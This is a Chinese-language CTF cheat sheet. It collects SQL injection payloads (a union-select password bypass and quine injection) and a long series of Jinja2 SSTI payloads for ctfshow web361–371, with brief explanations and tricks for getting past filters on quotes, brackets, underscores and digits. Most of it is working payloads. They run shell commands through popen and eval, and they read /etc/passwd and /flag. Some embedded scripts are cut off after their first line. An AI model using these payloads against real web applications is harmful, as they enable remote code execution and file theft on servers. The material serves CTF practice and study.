random
union虚拟表
[GXYCTF 2019]BabySqli
payload0' union select 0,'admin','e10adc3949ba59abbe56e057f20f883e'#&pw=123456
就是union select
会加一行虚拟表 内容是0,'admin','e10adc3949ba59abbe56e057f20f883e'
正好密码123456的md5值是这个 从而绕过了密码验证
quine注入 unique注入
[NISACTF 2022]hardsql
解释:实质上就是返回的值和输入值相同,对于这种输出自己的源代码的程序有一个名称,Qunie
首先先了解一下replace()
函数
replace(object,search,replace)
把object对象中出现的的search全部替换成replace,然后返回替换后的结果
object里面编码不会被替换
即:
REPLACE(**"REPLACE("B",char(66),"B")"**,char(66),"REPLACE("B",char(66),"B")")
黑体处的char(66)不会被替换,B会被替换
mysql> select replace(".",char(46),"."); |
我们可以先用依次replace让双引号替换为单引号
S为:REPLACE( REPLACE('A',CHAR(34),CHAR(39) ),B的编码,'A')
A为:REPLACE( REPLACE("B",CHAR(34),CHAR(39) ),B的编码,"B")
//char(34)是双引号 char(39)是单引号 char(66)是B
S:replace('A',char(66),'A')
//A为原字符串
A:replace("B",char(66),"B")
这里A中的间隔符使用双引号的原因是,A已经被单引号包裹,为避免引入新的转义符号,间隔符需要使用双引号。
//把A替换掉
replace('replace("B",char(66),"B")',char(66),'replace("B",char(66),"B")') |
//构造
S为'/**/union/**/select/**/replace(replace('A',char(34),char(39)),char(66),'A')#
A为"/**/union/**/select/**/replace(replace("B",char(34),char(39)),char(66),"B")#
//playload
1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace("B",char(34),char(39)),char(66),"B")#',char(34),char(39)),char(66),'1"/**/union/**/select/**/replace(replace("B",char(34),char(39)),char(66),"B")#')#
1'union/**/select/**/replace(replace('1"union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#
char被过滤的话还可以用十六机制或者chr()函数
char(34) --> 0x22
char(39) --> 0x27
char(34) --> chr(34)
ssti jinja2
可以利用的类或者函数
config
查看配置信息
env
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('env').read()}}
可能有非预期
popen
popen()
用于执行系统命令,返回一个文件地址,需要用read()
来显示文件的内容
subprocess.popen
与popen略有不同
{{"".__class__.__base__.__subclasses__()[485]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}
__import__中的os
{{"".__class__.__base__.__subclasses__()[80].__init__.__globals__.__import__('os').popen('whoami').read()}}
__builtins__代码执行
{{().__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}} |
request
jinja2中存在对象request
{{request.__init__.__globals__['__builtins__'].open('/etc/passwd').read()}}
{{request.application.__globals__['__builtins__'].open('/etc/passwd').read()}}
url_for
{{url_for.__globals__['current_app'].config}}
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
get_flashed_messages
{{get_flashed_messages.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}
lipsum
lipsum
是一个方法,可以直接调用os方法,也可以使用__buildins__
:
{{lipsum.__globals__['os'].popen('whoami').read()}} |
os._wrap_close
web361
?name={{''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
builtins
web362
-
多个1相加
/?name={{().__class__.__mro__[1].__subclasses__()[1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1].__init__.__globals__["popen"]("cat /flag").read()}}
-
利用
(dict(a=b,c=d)|join|count)
构造出2,然后66*2=132
即可
/?name={% set e=(dict(b=c,c=d)|join|count)%}{{().__class__.__mro__[1].__subclasses__()[e*66].__init__.__globals__["popen"]("cat /flag").read()}} |
-
url_for
?name={{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}
-
?name={{x.__init__.__globals__['__builtins__']}}
这里的x任意26个英文字母的任意组合都可以,同样可以得到__builtins__
然后用eval就可以了 -
{% for i in ''.__class__.__mro__[1].__subclasses__() %}{% if i.__name__=='_wrap_close' %}{% print i.__init__.__globals__['popen']('ls').read() %}{% endif %}{% endfor %}
过滤
过滤单双引号
web363
-
request绕过
?a=os&b=popen&c=cat /flag&name={{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}
-
字符串拼接
?name={{url_for.__globals__[(config.__str__()[2])%2B(config.__str__()[42])]}}
—>?name={{url_for.__globals__['os']}}
-
chr
?name={% set chr=url_for.__globals__.__builtins__.chr %}{% print url_for.__globals__[chr(111)%2bchr(115)]%}
-
过滤器
(()|select|string)[24]
-
利用config拿到字符串
# popen |
过滤单双引号和args
web364
使用cookies
/?name={{().__class__.__mro__[1].__subclasses__()[132].__init__.__globals__[request.cookies.a](request.cookies.b).read()}}
或者
{{url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}}
Cookie:
a=popen;b=cat /flag;
过滤单双引号和args和[]
web365
- 用
.
/?name={{x.__init__.__globals__.__builtins__.eval(request.cookies.a)}} |
- 用
getitem
/?name={{x.__init__.__globals__.__getitem__(request.cookies.b).eval(request.cookies.a)}} |
- 用
request.values
/?name={{x.__init__.__globals__.__getitem__(request.values.b).eval(request.values.a)}}&b=__builtins__&a=__import__('os').popen('tac /flag').read() |
过滤单双引号和args和[]和_
web366
lipsum
和attr
过滤器
{{().__class__}}
–>{{()|attr("__class__")}}
/?name={{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=__globals__&b=cat /flag |
web367
同上,多过滤了一个os,用request即可
过滤{{}}
web368
- 使用
{%%}
和print
/?name={%print((x|attr(request.values.x1)|attr(request.values.x2)|attr(request.values.x3))(request.values.x4).eval(request.values.x5))%}&x1=__init__&x2=__globals__&x3=__getitem__&x4=__builtins__&x5=__import__('os').popen('cat /flag').read()
或者盲注
import requests |
过滤request
web369
- 字符拼接
我们要得到{%print((lipsum|attr('__globals__')).get('os').popen('cat /flag').read())%}
import requests |
运行脚本后得到字符构造payload
/?name={%print((lipsum|attr(((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()))).get(((config|string|list).pop(2).lower()~(config|string|list).pop(42).lower())).popen(((config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower())).read())%}
另一种方法
/?name={%print(config|string|list|lower)%}
先执行这个获取字符
放入列表l中
import requests |
- 替换字符
join
?name={%set a=(config|string|list).pop(74)%}{%set globals=(a,a,dict(globals=1)|join,a,a)|join%}{%set init=(a,a,dict(init=1)|join,a,a)|join%}{%set builtins=(a,a,dict(builtins=1)|join,a,a)|join%}{%set a=(lipsum|attr(globals)).get(builtins)%}{%set chr=a.chr%}{%print(a.open(chr(47)~chr(102)~chr(108)~chr(97)~chr(103)).read())%}
原理
{%set a=(config|string|list).pop(74)%} 获得 _ |
过滤数字
(数字的过滤可以拿全角数字来代替半角数字)
还是join
/?name={%set nummm=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}{%set numm=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}{%set num=dict(aaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}{%set x=(()|select|string|list).pop(num)%}{%set o=dict(o=a,s=b)|join%}{%set glob = (x,x,dict(globals=a)|join,x,x)|join %}{%set builtins=(x,x,dict(builtins=a)|join,x,x)|join%}{%set c=dict(chr=a)|join%}{%set chr=((lipsum|attr(glob)).get(builtins)).get(c)%}{%set cmd=chr(numm)~dict(flag=a)|join%}{%set cmd=dict(cat=a)|join~chr(nummm)~chr(numm)~dict(flag=a)|join%}{%print((lipsum|attr(glob)).get(o).popen(cmd).read())%}
如下 count 可以用 length代替
{%set nummm=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%} #32 |
fenjing
web370 371
from fenjing import exec_cmd_payload, config_payload |
总结
fenjing…
python -m fenjing webui
python3 -m fenjing scan -u "https://ctf.sora.zip/decode/" --tamper-cmd 'base64'
可以编码 之前误会他了
脚本小子
tornado ssti
语法 | 用途 | 描述 |
---|---|---|
{{ ... }} |
执行Python语句 | 里面直接写Python语句即可,没有经过特殊的转换。默认输出会经过HTML编码 |
{% ... %} |
特殊内置语法 | 有多种规则,如下表所示 |
`` | 注释 | - |
{% comment ... %} |
注释 | - |
{% apply *function* %}...{% end %} |
执行函数 | function 是函数名。apply 到end 之间的内容是函数的参数 |
{% autoescape *function* %} |
设置编码方式 | 用于设置当前模板文件的编码方式 |
{% block *name* %}...{% end %} |
引用模板段 | 配合extends 使用 |
{% extends *filename* %} |
引入模板文件 | 配合block 使用 |
` |